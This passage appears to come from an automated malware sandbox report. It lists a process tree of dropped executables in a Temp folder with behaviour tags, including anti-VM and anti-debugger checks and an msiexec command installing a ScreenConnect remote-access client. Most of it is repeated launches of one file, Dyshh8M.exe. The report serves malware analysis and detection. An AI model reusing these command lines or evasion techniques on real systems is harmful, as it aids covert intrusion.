        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1380
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 848 -s 504
        8⤵
        Loads dropped DLL
        Program crash
        
        PID:2360
        
        C:\Users\Admin\AppData\Local\Temp\10008470101\E3WGlpL.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10008470101\E3WGlpL.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2476
        
        C:\Users\Admin\AppData\Local\Temp\10019810101\6NPpGdC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10019810101\6NPpGdC.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2868
        
        C:\Users\Admin\AppData\Local\Temp\10019810101\6NPpGdC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10019810101\6NPpGdC.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1028
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2868 -s 504
        8⤵
        Loads dropped DLL
        Program crash
        
        PID:2716
        
        C:\Users\Admin\AppData\Local\Temp\10021570101\VBUN8fn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10021570101\VBUN8fn.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2304
        
        C:\Users\Admin\AppData\Local\Temp\10022320101\67e0HNq.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10022320101\67e0HNq.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1552
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\3be09d9e5e840c20\ScreenConnect.ClientSetup.msi"
        8⤵
        Enumerates connected drives
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:532
        
        C:\Users\Admin\AppData\Local\Temp\10030770101\xqWgymz.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10030770101\xqWgymz.exe"
        7⤵
        Executes dropped EXE
        
        PID:2712
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1836
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2260
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1316
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2784
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:892
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2284
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1528
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2560
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1044
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1040
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2536
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1708
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2568
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1448
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1572
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:324
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2500
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1552
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:988
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2744
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:568
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2652
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2480
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1688
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2208
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1752
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1980
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1540
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2460
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2824
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1732
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:3064
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2992
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2476
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1964
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:3016
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2748
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1280
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2684
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2676
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:320
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1988
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1132
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2932
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2244
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:1396
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        Executes dropped EXE
        
        PID:2432
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2532
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2276
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2528
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2444
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2908
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1260
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1664
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2056
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2912
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2380
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1736
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2388
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2132
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2948
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1912
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2692
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:3044
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:900
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2484
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1972
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1724
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2188
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1028
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1616
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2040
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2924
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2604
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2668
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2176
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1324
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2796
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:556
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1852
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2600
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:536
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1096
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2548
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2984
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2520
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2232
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1744
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2392
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:944
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:784
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1640
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:924
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2660
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:880
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2588
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2280
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2860
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2868
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2844
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:704
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2712
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2632
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2680
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1992
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2356
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2092
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2128
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2452
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1252
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2436
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2968
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:268
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1560
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:3008
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1780
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2524
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2720
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1488
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2332
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2700
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1936
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2340
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2036
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2084
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2988
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2904
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2024
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:2044
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1648
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1512
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1312
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:1244
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
